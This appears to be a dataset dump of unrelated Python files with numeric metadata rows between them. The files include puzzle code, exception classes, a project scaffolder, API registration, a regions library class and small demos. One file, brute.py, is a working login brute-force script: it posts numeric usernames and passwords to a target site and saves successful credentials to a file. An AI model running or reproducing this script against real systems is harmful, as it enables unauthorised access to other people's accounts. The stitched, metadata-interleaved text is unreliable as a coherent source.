#!/usr/bin/env python3 # -*- coding: utf-8 -*- from collections import deque puzzle_input = 377 # puzzle_input = 3 my_circular_buffer = deque() my_circular_buffer.append(0) for i in range(1, 50000000+1): new_pos = puzzle_input % len(my_circular_buffer) my_circular_buffer.rotate(-new_pos-1) my_circular_buffer.appendleft(i) my_circular_buffer.rotate(-my_circular_buffer.index(0)) print(my_circular_buffer[1])
23.611111
55
0.757647
67
425
4.492537
0.492537
0.265781
0.425249
0.146179
0
0
0
0
0
0
0
0.053619
0.122353
425
17
56
25
0.753351
0.141176
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0.1
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
17a84420e19ce12f3b716bc7024aa29937242930
1,164
py
Python
src/rhasspy_desktop_satellite/exceptions.py
mcorino/rhasspy-desktop-satellite
aeaa820a0acdcc2e70db1f74157a0c7d3ac5d4bd
[ "MIT" ]
null
null
null
src/rhasspy_desktop_satellite/exceptions.py
mcorino/rhasspy-desktop-satellite
aeaa820a0acdcc2e70db1f74157a0c7d3ac5d4bd
[ "MIT" ]
null
null
null
src/rhasspy_desktop_satellite/exceptions.py
mcorino/rhasspy-desktop-satellite
aeaa820a0acdcc2e70db1f74157a0c7d3ac5d4bd
[ "MIT" ]
null
null
null
"""This module contains exceptions defined for Rhasspy Desktop Satellite.""" class RDSatelliteServerError(Exception): """Base class for exceptions raised by Rhasspy Desktop Satellite code. By catching this exception type, you catch all exceptions that are defined by the Hermes Audio Server code.""" class ConfigurationFileNotFoundError(RDSatelliteServerError): """Raised when the configuration file is not found.""" def __init__(self, filename): """Initialize the exception with a string representing the filename.""" self.filename = filename class NoDefaultAudioDeviceError(RDSatelliteServerError): """Raised when there's no default audio device available.""" def __init__(self, inout): """Initialize the exception with a string representing input or output. """ self.inout = inout class UnsupportedPlatformError(RDSatelliteServerError): """Raised when the platform Rhasspy Desktop Satellite is running on is not supported.""" def __init__(self, platform): """Initialize the exception with a string representing the platform.""" self.platform = platform
33.257143
79
0.726804
128
1,164
6.515625
0.460938
0.05036
0.082734
0.093525
0.169065
0.169065
0.169065
0.115108
0
0
0
0
0.196735
1,164
34
80
34.235294
0.891979
0.553265
0
0
0
0
0
0
0
0
0
0
0
1
0.3
false
0
0
0
0.7
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
17a96a19e673a02ce4216b998f3cb8431e172a1f
1,378
py
Python
create_python_app/main.py
xuchaoqian/create-python-app
70745432b972b96a3faf95a378d54d922b77f2be
[ "MIT" ]
null
null
null
create_python_app/main.py
xuchaoqian/create-python-app
70745432b972b96a3faf95a378d54d922b77f2be
[ "MIT" ]
null
null
null
create_python_app/main.py
xuchaoqian/create-python-app
70745432b972b96a3faf95a378d54d922b77f2be
[ "MIT" ]
null
null
null
import argparse from create_python_app.path_utils import * from create_python_app.create_gitignore_file import create_gitignore_file from create_python_app.create_license_file import create_license_file from create_python_app.create_makefile_file import create_makefile_file from create_python_app.create_readme_file import create_readme_file from create_python_app.create_requirements_file import create_requirements_file from create_python_app.create_setup_file import create_setup_file from create_python_app.create_root_package import create_root_package from create_python_app.create_config_files import create_config_files from create_python_app.create_config_module import create_config_module def _parse(): parser = argparse.ArgumentParser() parser.add_argument("--name", required=True, type=str) args = parser.parse_args() return args.name def main(): app_name = _parse() base_dir = create_dir(os.getcwd(), app_name) create_gitignore_file(base_dir) create_license_file(base_dir) create_makefile_file(base_dir, app_name=app_name) create_readme_file(base_dir, app_name=app_name) create_requirements_file(base_dir) create_setup_file(base_dir) create_root_package(base_dir, app_name=app_name) create_config_files(base_dir) create_config_module(base_dir, app_name=app_name) if __name__ == '__main__': main()
41.757576
79
0.834543
206
1,378
5.058252
0.18932
0.095969
0.153551
0.182342
0.356046
0.332054
0.085413
0.059501
0
0
0
0
0.107402
1,378
33
80
41.757576
0.847154
0
0
0
0
0
0.010152
0
0
0
0
0
0
1
0.066667
false
0
0.366667
0
0.466667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
17afc776c10c0b9ba372d9ed2ac769c202c71e90
2,696
py
Python
my_python_module/exceptions.py
a358003542/wanze_python_project
db52515af80319000e9a47a7b02f3ccd2cf46afd
[ "MIT" ]
1
2020-10-30T08:54:22.000Z
2020-10-30T08:54:22.000Z
my_python_module/exceptions.py
a358003542/wanze_python_project
db52515af80319000e9a47a7b02f3ccd2cf46afd
[ "MIT" ]
null
null
null
my_python_module/exceptions.py
a358003542/wanze_python_project
db52515af80319000e9a47a7b02f3ccd2cf46afd
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ python系统内的异常 +-- Exception +-- StopIteration +-- StopAsyncIteration +-- ArithmeticError | +-- FloatingPointError | +-- OverflowError | +-- ZeroDivisionError +-- AssertionError +-- AttributeError +-- BufferError +-- EOFError +-- ImportError | +-- ModuleNotFoundError +-- LookupError | +-- IndexError | +-- KeyError +-- MemoryError +-- NameError | +-- UnboundLocalError +-- OSError | +-- BlockingIOError | +-- ChildProcessError | +-- ConnectionError | | +-- BrokenPipeError | | +-- ConnectionAbortedError | | +-- ConnectionRefusedError | | +-- ConnectionResetError | +-- FileExistsError | +-- FileNotFoundError | +-- InterruptedError | +-- IsADirectoryError | +-- NotADirectoryError | +-- PermissionError | +-- ProcessLookupError | +-- TimeoutError +-- ReferenceError +-- RuntimeError | +-- NotImplementedError | +-- RecursionError +-- SyntaxError | +-- IndentationError | +-- TabError +-- SystemError +-- TypeError +-- ValueError | +-- UnicodeError | +-- UnicodeDecodeError | +-- UnicodeEncodeError | +-- UnicodeTranslateError +-- Warning +-- DeprecationWarning +-- PendingDeprecationWarning +-- RuntimeWarning +-- SyntaxWarning +-- UserWarning +-- FutureWarning +-- ImportWarning +-- UnicodeWarning +-- BytesWarning +-- ResourceWarning """ class ConfigFileNotFoundError(FileNotFoundError): """ The config file not found. """ class RequireArgumentError(Exception): """ Require some argument """ class FatalError(): """Fatal Error, the program need shutdown imediately""" class NotIntegerError(ValueError): """Need input is a integer""" class NotFloatError(ValueError): """Need input is a float""" class OutOfRangeError(ValueError): """The input required a range""" class OutOfChoiceError(ValueError): """The parameter is out of given choice""" class NotSupportedWarning(UserWarning): """This feature is not supported, program will ignore it.""" class UnDefinedError(): """UndefinedError, lately we will talk about it. """ class GuessFailed(Warning): """ Your function do some guess operation but cause a failed, this is a warning. """
23.858407
80
0.554154
163
2,696
9.165644
0.754601
0.006024
0.025435
0.028112
0.029451
0
0
0
0
0
0
0.000548
0.3227
2,696
112
81
24.071429
0.817634
0.813427
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
17bab85be9766c1e62d10b8ba5e92bbbc7204442
1,139
py
Python
test/python/LIM2Metrics/py3/base/common/Bridge/Bridge.py
sagodiz/SonarQube-plug-in
4f8e111baecc4c9f9eaa5cd3d7ebeb1e365ace2c
[ "BSD-4-Clause" ]
20
2015-06-16T17:39:10.000Z
2022-03-20T22:39:40.000Z
test/python/LIM2Metrics/py3/base/common/Bridge/Bridge.py
sagodiz/SonarQube-plug-in
4f8e111baecc4c9f9eaa5cd3d7ebeb1e365ace2c
[ "BSD-4-Clause" ]
29
2015-12-29T19:07:22.000Z
2022-03-22T10:39:02.000Z
test/python/LIM2Metrics/py3/base/common/Bridge/Bridge.py
sagodiz/SonarQube-plug-in
4f8e111baecc4c9f9eaa5cd3d7ebeb1e365ace2c
[ "BSD-4-Clause" ]
12
2015-08-28T01:22:18.000Z
2021-09-25T08:17:31.000Z
# Implementor class drawing_api: def draw_circle(self, x, y, radius): pass # ConcreteImplementor 1/2 class drawing_api1(drawing_api): def draw_circle(self, x, y, radius): print('API1.circle at %f:%f radius %f' % (x, y, radius)) # ConcreteImplementor 2/2 class drawing_api2(drawing_api): def draw_circle(self, x, y, radius): print('API2.circle at %f:%f radius %f' % (x, y, radius)) # Abstraction class Shape: def draw(self): pass def resize_by_percentage(self, pct): pass # Refined Abstraction class CircleShape(Shape): def __init__(self, x, y, radius, drawing_api): self.x = x self.y = y self.radius = radius self.drawing_api = drawing_api def draw(self): self.drawing_api.draw_circle(self.x, self.y, self.radius) def resize_by_percentage(self, pct): self.radius *= pct # Client if __name__ == '__main__': shapes = [ CircleShape(1, 2, 3, drawing_api1()), CircleShape(5, 7, 11, drawing_api2()) ] for shape in shapes: shape.resize_by_percentage(2.5) shape.draw()
23.729167
65
0.62072
157
1,139
4.292994
0.254777
0.103858
0.071217
0.10089
0.327893
0.327893
0.244807
0.244807
0.244807
0.118694
0
0.022512
0.258999
1,139
47
66
24.234043
0.776066
0.08604
0
0.3125
0
0
0.065764
0
0
0
0
0
0
1
0.25
false
0.09375
0
0
0.40625
0.0625
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
17e620adc33ee30cd11c65a57f46f1da7b3b9897
94
py
Python
bertopic/__init__.py
louisguitton/BERTopic
0b321678ffe4eab0a28484faf76728f584a94ebd
[ "MIT" ]
1
2021-09-29T12:39:16.000Z
2021-09-29T12:39:16.000Z
bertopic/__init__.py
louisguitton/BERTopic
0b321678ffe4eab0a28484faf76728f584a94ebd
[ "MIT" ]
null
null
null
bertopic/__init__.py
louisguitton/BERTopic
0b321678ffe4eab0a28484faf76728f584a94ebd
[ "MIT" ]
null
null
null
from bertopic._bertopic import BERTopic __version__ = "0.9.1" __all__ = [ "BERTopic", ]
11.75
39
0.680851
11
94
5
0.727273
0
0
0
0
0
0
0
0
0
0
0.039474
0.191489
94
7
40
13.428571
0.684211
0
0
0
0
0
0.138298
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
17ea30689ba9d98fd7b8fd672edbe09e38e06775
210
py
Python
foodbot/urls.py
surajpaib/HungerHero
be7c0b77944579f057886b074ba8db83d270ae83
[ "Apache-2.0" ]
null
null
null
foodbot/urls.py
surajpaib/HungerHero
be7c0b77944579f057886b074ba8db83d270ae83
[ "Apache-2.0" ]
null
null
null
foodbot/urls.py
surajpaib/HungerHero
be7c0b77944579f057886b074ba8db83d270ae83
[ "Apache-2.0" ]
null
null
null
from django.conf.urls import url from . import views urlpatterns = [ url(r'^bot/', views.webhook, name='bot'), url(r'^foodcenter/', views.food_center_webhook, name= 'food'), # url(r'^relay/', vi) ]
26.25
66
0.647619
30
210
4.466667
0.566667
0.089552
0
0
0
0
0
0
0
0
0
0
0.161905
210
8
67
26.25
0.761364
0.090476
0
0
0
0
0.126316
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
aa027855d06ebca0a52e37c857218b627bb34991
2,066
py
Python
brute.py
mirfansulaiman/python-bruteforce-script
bc1d7d92de37fa927c2fc4ddc1d1ef08ad361a26
[ "Apache-2.0" ]
1
2018-07-14T01:00:56.000Z
2018-07-14T01:00:56.000Z
brute.py
mirfansulaiman/python-bruteforce-script
bc1d7d92de37fa927c2fc4ddc1d1ef08ad361a26
[ "Apache-2.0" ]
null
null
null
brute.py
mirfansulaiman/python-bruteforce-script
bc1d7d92de37fa927c2fc4ddc1d1ef08ad361a26
[ "Apache-2.0" ]
1
2021-01-31T06:53:55.000Z
2021-01-31T06:53:55.000Z
#!/usr/bin/env python # Name : Simple Bruteforce v.0.1 # Author: mirfansulaiman # Indonesian Backtrack Team | Kurawa In Disorder # http://indonesianbacktrack.or.id # http://mirfansulaiman.com/ # http://ctfs.me/ # # have a bug? report to doctorgombal@gmail.com or PM at http://indonesianbacktrack.or.id/forum/user-10440.html # # Note : This tool for education only. # Dont change author name ! import requests import re from random import randint, choice from string import ascii_uppercase import string, sys, os, time RED = "\033[1;31;40m" WHITE = "\033[1;37;40m" GREEN = "\033[1;32;40m" CYAN = "\033[1;36;40m" PURPLE = "\033[1;35;40m" TAG = "\033[0m" def main(): count = 0 No = 20000 a = 30000 while No <= a: url = "http://target.com" Username = No Password = No payload = { "login":"login", "password":Password, "username":Username, } headers = {} timeout = 15 response = requests.request("POST", url, data=payload, headers=headers) time.sleep(0.5) count = count + 1 No = No + 1 print "------------------------------------" print "{0}NO{1} : {2} | {3}[BRUTEFORCE]{4}".format(WHITE, TAG, count, RED, TAG) print "{0}SEND{1} : {2}{3}{4} | {5}{6}{7} ".format(WHITE, TAG, CYAN, Username, TAG, PURPLE, Password, TAG) gagal = re.search('Login ke Akun Anda', response.text) result = re.search('Selamat Datang', response.text) if result: print "{0}STATUS{1} : {2}LOGIN SUCCESS{3}".format(WHITE,TAG,GREEN,TAG) f = open("result2.txt", "a") f.write("{0}:{1}\n".format(Username,Password)) f.close() elif gagal: print "{0}STATUS{1} : {2}LOGIN FAIL{3}".format(WHITE,TAG,RED,TAG) if __name__ == '__main__': try: main() except KeyboardInterrupt: print ' [Exit]' try: sys.exit(0) except SystemExit: os._exit(0)
31.784615
114
0.549371
265
2,066
4.245283
0.486792
0.017778
0.049778
0.048
0.033778
0.033778
0
0
0
0
0
0.063556
0.284124
2,066
65
115
31.784615
0.697093
0.179574
0
0.039216
0
0.019608
0.212589
0.021378
0
0
0
0
0
0
null
null
0.078431
0.098039
null
null
0.117647
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
aa071d641c21c8126205d398a23afa6631e2eb94
1,144
py
Python
tests/micropython/heapalloc_exc_compressed.py
andihoff98/micropython
b0ef4364db9a75f761adf07c0f300cb0704fdf19
[ "MIT" ]
2
2022-03-10T03:17:48.000Z
2022-03-10T03:17:58.000Z
tests/micropython/heapalloc_exc_compressed.py
andihoff98/micropython
b0ef4364db9a75f761adf07c0f300cb0704fdf19
[ "MIT" ]
19
2022-01-31T20:43:43.000Z
2022-03-30T18:26:37.000Z
tests/micropython/heapalloc_exc_compressed.py
andihoff98/micropython
b0ef4364db9a75f761adf07c0f300cb0704fdf19
[ "MIT" ]
1
2022-03-30T18:38:08.000Z
2022-03-30T18:38:08.000Z
import micropython # Tests both code paths for built-in exception raising. # mp_obj_new_exception_msg_varg (exception requires decompression at raise-time to format) # mp_obj_new_exception_msg (decompression can be deferred) # NameError uses mp_obj_new_exception_msg_varg for NameError("name '%q' isn't defined") # `raise 0` uses mp_obj_new_exception_msg for TypeError("exceptions must derive from BaseException") # Tests that deferred decompression works both via print(e) and accessing the message directly via e.args. # First test the regular case (can use heap for allocating the decompression buffer). try: name() except NameError as e: print(type(e).__name__, e) try: raise 0 except TypeError as e: print(type(e).__name__, e) try: name() except NameError as e: print(e.args[0]) try: raise 0 except TypeError as e: print(e.args[0]) # Then test that it still works when the heap is locked (i.e. in ISR context). micropython.heap_lock() try: name() except NameError as e: print(type(e).__name__) try: raise 0 except TypeError as e: print(type(e).__name__) micropython.heap_unlock()
24.340426
106
0.740385
181
1,144
4.480663
0.40884
0.022195
0.059186
0.083847
0.409371
0.38471
0.276202
0.24291
0.197287
0.197287
0
0.006356
0.174825
1,144
46
107
24.869565
0.852754
0.568182
0
0.888889
0
0
0
0
0
0
0
0
0
1
0
true
0
0.037037
0
0.037037
0.222222
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
aa0ef04e32539da4111738a97b4fb91b9adbfeb7
296
py
Python
arena/objects/line.py
syreal17/ARENA-py
84f73d09ca5bcfec5973b366784ec8385d5e156d
[ "BSD-3-Clause" ]
null
null
null
arena/objects/line.py
syreal17/ARENA-py
84f73d09ca5bcfec5973b366784ec8385d5e156d
[ "BSD-3-Clause" ]
null
null
null
arena/objects/line.py
syreal17/ARENA-py
84f73d09ca5bcfec5973b366784ec8385d5e156d
[ "BSD-3-Clause" ]
null
null
null
from .arena_object import Object from ..attributes import Position class Line(Object): """ Class for Line in the ARENA. """ def __init__(self, start=Position(0,0,0), end=Position(10,10,10), **kwargs): super().__init__(object_type="line", start=start, end=end, **kwargs)
26.909091
80
0.665541
42
296
4.452381
0.5
0.02139
0
0
0
0
0
0
0
0
0
0.037037
0.179054
296
10
81
29.6
0.73251
0.094595
0
0
0
0
0.015936
0
0
0
0
0
0
1
0.2
false
0
0.4
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
aa140311bd46c7b3499277f3a584d6f7846994ac
647
py
Python
credentials.py
feliposz/submissions-scraper-selenium
e12c4194bfa96738e9042f4b0dd62e0ee14b3af4
[ "MIT" ]
3
2020-07-24T08:14:42.000Z
2021-06-25T12:46:15.000Z
credentials.py
th3c0d3br34ker/hackerrank-scraper-selenium
e12c4194bfa96738e9042f4b0dd62e0ee14b3af4
[ "MIT" ]
8
2020-06-24T14:37:47.000Z
2021-06-02T02:04:05.000Z
credentials.py
th3c0d3br34ker/hackerrank-scraper-selenium
e12c4194bfa96738e9042f4b0dd62e0ee14b3af4
[ "MIT" ]
2
2020-10-26T02:53:45.000Z
2022-03-11T06:21:24.000Z
class ACCOUNTS(): def __init__(self): self.CodeChef = { "username": "username", "password": "password" } self.Hackerrank = { "username": "username", "password": "password", "tracks": ["python"] # Available (add as per your requirements): # Languages: "java", "python", "c", "cpp", "ruby", "shell", "sql", "fp", # Domians: "algorithms", "data-structures", "mathematics", "ai", "databases", "regex" # "tutorials" } def getAccounts(self): return vars(self)
32.35
100
0.462133
49
647
6.020408
0.755102
0.108475
0.162712
0.216949
0
0
0
0
0
0
0
0
0.380216
647
19
101
34.052632
0.735661
0.344668
0
0.153846
0
0
0.19
0
0
0
0
0
0
1
0.153846
false
0.153846
0
0.076923
0.307692
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
aa479b29bfe32b3b0d5ad18d34ca8b1c4f74dff8
639
py
Python
data/train/python/aa479b29bfe32b3b0d5ad18d34ca8b1c4f74dff8api.py
harshp8l/deep-learning-lang-detection
2a54293181c1c2b1a2b840ddee4d4d80177efb33
[ "MIT" ]
84
2017-10-25T15:49:21.000Z
2021-11-28T21:25:54.000Z
data/train/python/aa479b29bfe32b3b0d5ad18d34ca8b1c4f74dff8api.py
vassalos/deep-learning-lang-detection
cbb00b3e81bed3a64553f9c6aa6138b2511e544e
[ "MIT" ]
5
2018-03-29T11:50:46.000Z
2021-04-26T13:33:18.000Z
data/train/python/aa479b29bfe32b3b0d5ad18d34ca8b1c4f74dff8api.py
vassalos/deep-learning-lang-detection
cbb00b3e81bed3a64553f9c6aa6138b2511e544e
[ "MIT" ]
24
2017-11-22T08:31:00.000Z
2022-03-27T01:22:31.000Z
from tastypie.api import Api from encuestas.api.user import UserResource from encuestas.api.encuesta import EncuestaResource from encuestas.api.grupo import GrupoResource from encuestas.api.pregunta import PreguntaResource from encuestas.api.opcion import OpcionResource from encuestas.api.link import LinkResource from encuestas.api.respuesta import RespuestaResource v1_api = Api(api_name='v1') v1_api.register(UserResource()) v1_api.register(EncuestaResource()) v1_api.register(GrupoResource()) v1_api.register(PreguntaResource()) v1_api.register(OpcionResource()) v1_api.register(LinkResource()) v1_api.register(RespuestaResource())
33.631579
53
0.843505
81
639
6.54321
0.271605
0.075472
0.211321
0
0
0
0
0
0
0
0
0.015126
0.068858
639
18
54
35.5
0.87563
0
0
0
0
0
0.00313
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
a4b2c4045c07be3b84327e571cdbd1e25cc17fb5
7,810
py
Python
regions/core/regions.py
dhomeier/regions
5055128abda57c3b463f51ede0a6ac0ef5a0c698
[ "BSD-3-Clause" ]
46
2015-05-26T20:59:24.000Z
2022-03-31T04:57:50.000Z
regions/core/regions.py
dhomeier/regions
5055128abda57c3b463f51ede0a6ac0ef5a0c698
[ "BSD-3-Clause" ]
338
2015-05-15T20:33:35.000Z
2022-03-31T21:43:43.000Z
regions/core/regions.py
dhomeier/regions
5055128abda57c3b463f51ede0a6ac0ef5a0c698
[ "BSD-3-Clause" ]
49
2016-03-21T22:12:31.000Z
2022-03-29T21:50:25.000Z
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ This module provides a Regions class. """ from .core import Region from .registry import RegionsRegistry __all__ = ['Regions'] __doctest_skip__ = ['Regions.read', 'Regions.write', 'Regions.parse', 'Regions.serialize'] class Regions: """ Class to hold a list of `~regions.Region` objects. This class provides a unified I/O interface that supports reading, writing, parsing, and serializing many region data formats. Parameters ---------- regions : list of `~regions.Region` The list of region objects. """ def __init__(self, regions): self.regions = regions def __getitem__(self, index): newregions = self.regions[index] if isinstance(newregions, Region): # one item return newregions else: newcls = object.__new__(self.__class__) newcls.regions = newregions return newcls def __repr__(self): cls_name = self.__class__.__name__ return f'<{cls_name}({repr(self.regions)})>' def __str__(self): return str(self.regions) def __len__(self): return len(self.regions) def append(self, region): """ Append the region to the end of the list of regions. Parameters ---------- region : `~regions.Region` The region to append. """ self.regions.append(region) def extend(self, regions): """ Extend the list of regions by appending elements from the input regions. Parameters ---------- regions : list of `~regions.Region` A list of regions to include. """ self.regions.extend(regions) def insert(self, index, region): """ Insert the region before index. Parameters ---------- index : int The list index. region : `~regions.Region` The region to insert. """ self.regions.insert(index, region) def reverse(self): """ Reverse the list of regions in place. """ self.regions.reverse() def pop(self, index=-1): """ Remove and return the region at index. Parameters ---------- index : int, optional The index of the region to remove. Returns ------- result : `~regions.Region` """ return self.regions.pop(index) def copy(self): """ Return a shallow copy of this object. """ newcls = object.__new__(self.__class__) newcls.regions = self.regions.copy() return newcls @classmethod def get_formats(cls): """ Get the registered I/O formats as a Table. """ return RegionsRegistry.get_formats(cls) @classmethod def read(cls, filename, format=None, cache=False, **kwargs): """ Read and parse a region file and return as a Regions object. This method allows reading a file in many supported data formats, e.g.,:: >>> from regions import Regions >>> reg1 = Regions.read('regions.reg', format='ds9') >>> reg2 = Regions.read('regions.crtf', format='crtf') >>> reg3 = Regions.read('regions.fits', format='fits') A list of the available formats for `~regions.Regions` is available using:: >>> Regions.get_formats() Parameters ---------- filename : str The filename or URL of the file to read. format : str, optional The file format specifier. cache : bool or 'update', optional Whether to cache the contents of remote URLs. If 'update', check the remote URL for a new version but store the result in the cache. **kwargs : dict, optional Keyword arguments passed to the data reader. Returns ------- result : `~regions.Regions` A `~regions.Regions` object containing the file contents. """ return RegionsRegistry.read(filename, cls, format=format, cache=cache, **kwargs) @classmethod def parse(cls, data, format=None, **kwargs): """ Parse a region string or table and return as a Regions object. This method allows parsing region data in many supported data formats, e.g.,:: >>> from regions import Regions >>> reg1 = Regions.parse(regions_str, format='ds9') >>> reg2 = Regions.parse(regions_str, format='crtf') >>> reg3 = Regions.parse(regions_tbl, format='fits') A list of the available formats for `~regions.Regions` is available using:: >>> Regions.get_formats() Parameters ---------- data : str or `~astropy.table.Table` The region data to parse. format : str, optional The file format specifier. **kwargs : dict, optional Keyword arguments passed to the data parser. Returns ------- result : `~regions.Regions` A `~regions.Regions` object containing the data contents. """ return RegionsRegistry.parse(data, cls, format=format, **kwargs) def write(self, filename, format=None, overwrite=False, **kwargs): """ Write the regions to a region file in the specified format. This method allows writing a file in many supported data formats, e.g.,:: >>> from regions import Regions >>> reg = Regions.read('regions.reg', format='ds9') >>> reg.write('new_regions.reg', format='ds9') >>> reg.write('new_regions.crtf', format='crtf') >>> reg.write('new_regions.fits', format='fits') A list of the available formats for `~regions.Regions` is available using:: >>> Regions.get_formats() Parameters ---------- filename : str The filename or URL of the file to write. format : str, optional The file format specifier. overwrite : bool, optional If True, overwrite the output file if it exists. Raises an `OSError` if False and the output file exists. Default is False. **kwargs : dict, optional Keyword arguments passed to the data writer. """ return RegionsRegistry.write(self.regions, filename, self.__class__, format=format, overwrite=overwrite, **kwargs) def serialize(self, format=None, **kwargs): """ Serialize the regions to a region string or table. This method allows serializing regions in many supported data formats, e.g.,:: >>> from regions import Regions >>> reg = Regions.read('regions.reg', format='ds9') >>> reg1_str = reg.serialize(format='ds9') >>> reg2_str = reg.serialize(format='crtf') >>> reg3_tbl = reg.serialize(format='fits') A list of the available formats for `~regions.Regions` is available using:: >>> Regions.get_formats() Parameters ---------- format : str, optional The file format specifier. **kwargs : dict, optional Keyword arguments passed to the data serializer. """ return RegionsRegistry.serialize(self.regions, self.__class__, format=format, **kwargs)
29.360902
71
0.554802
838
7,810
5.077566
0.186158
0.038778
0.021387
0.017861
0.409166
0.380964
0.344536
0.308813
0.297532
0.255229
0
0.003299
0.340205
7,810
265
72
29.471698
0.822434
0.556722
0
0.127273
0
0
0.041505
0.0147
0
0
0
0
0
1
0.290909
false
0
0.036364
0.036364
0.563636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
a4c132843d17f9507a14b314301300f42b750e05
240
py
Python
src/the_tale/the_tale/game/roads/admin.py
al-arz/the-tale
542770257eb6ebd56a5ac44ea1ef93ff4ab19eb5
[ "BSD-3-Clause" ]
85
2017-11-21T12:22:02.000Z
2022-03-27T23:07:17.000Z
src/the_tale/the_tale/game/roads/admin.py
al-arz/the-tale
542770257eb6ebd56a5ac44ea1ef93ff4ab19eb5
[ "BSD-3-Clause" ]
545
2017-11-04T14:15:04.000Z
2022-03-27T14:19:27.000Z
src/the_tale/the_tale/game/roads/admin.py
al-arz/the-tale
542770257eb6ebd56a5ac44ea1ef93ff4ab19eb5
[ "BSD-3-Clause" ]
45
2017-11-11T12:36:30.000Z
2022-02-25T06:10:44.000Z
import smart_imports smart_imports.all() class RoadAdmin(django_admin.ModelAdmin): list_display = ('id', 'point_1', 'point_2', 'length') list_filter = ('point_1', 'point_2') django_admin.site.register(models.Road, RoadAdmin)
17.142857
57
0.720833
32
240
5.09375
0.65625
0.147239
0.134969
0.147239
0
0
0
0
0
0
0
0.019231
0.133333
240
13
58
18.461538
0.764423
0
0
0
0
0
0.150628
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.833333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
a4d08644e553bef96fa074dce2bce8a5b53b58cb
722
py
Python
ListaExercicios1/exercicio21.py
GabrielSouzaGit/PythonStudies
49ec26d4ae45999695ab32f8e1f27587adb5ca4b
[ "MIT" ]
null
null
null
ListaExercicios1/exercicio21.py
GabrielSouzaGit/PythonStudies
49ec26d4ae45999695ab32f8e1f27587adb5ca4b
[ "MIT" ]
null
null
null
ListaExercicios1/exercicio21.py
GabrielSouzaGit/PythonStudies
49ec26d4ae45999695ab32f8e1f27587adb5ca4b
[ "MIT" ]
null
null
null
'''Escreva um programa que solicite ao usuário dois números e apresente na tela os resultados das operações aritméticas (soma, subtração, multiplicação, divisão, resto da divisão, exponenciação, radiciação)''' import math num1 = float(input('Informe um numero: ')) num2 = float(input('Informe outro numero: ')) print(f'a soma dos numeros sao: {num1+num2}') print(f'a subtracao dos numeros sao: {num1-num2}') print(f'a multiplicacao dos numeros sao: {num1*num2}') print(f'a divisao dos numeros sao: {num1/num2}') print(f'o resto da divisao dos numeros sao: {num1%num2}') print(f'a exponenciacao dos numeros sao: {math.exp(num1), math.exp(num2)}') print(f'a radiciacao dos numeros sao: {math.sqrt(num1), math.sqrt(num2)}')
55.538462
111
0.742382
114
722
4.701754
0.429825
0.078358
0.169776
0.158582
0.285448
0.285448
0.285448
0.285448
0
0
0
0.025237
0.121884
722
13
112
55.538462
0.820189
0.282548
0
0
0
0
0.729045
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0.7
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
a4d467254a4a29717b7a458692ff809fe8f6fa14
195
py
Python
randomAgent.py
FavOla/SIAUROP
9d3f4ade1ab00a16dbc8ae9c1bd8c1f960d11aff
[ "MIT" ]
null
null
null
randomAgent.py
FavOla/SIAUROP
9d3f4ade1ab00a16dbc8ae9c1bd8c1f960d11aff
[ "MIT" ]
null
null
null
randomAgent.py
FavOla/SIAUROP
9d3f4ade1ab00a16dbc8ae9c1bd8c1f960d11aff
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @author: fnels """ import random def random_actions(): action_list = [random.randint(0, 3)] return action_list
16.25
44
0.558974
23
195
4.608696
0.826087
0.188679
0
0
0
0
0
0
0
0
0
0.028369
0.276923
195
12
45
16.25
0.723404
0.297436
0
0
0
0
0
0
0
0
0
0
0
1
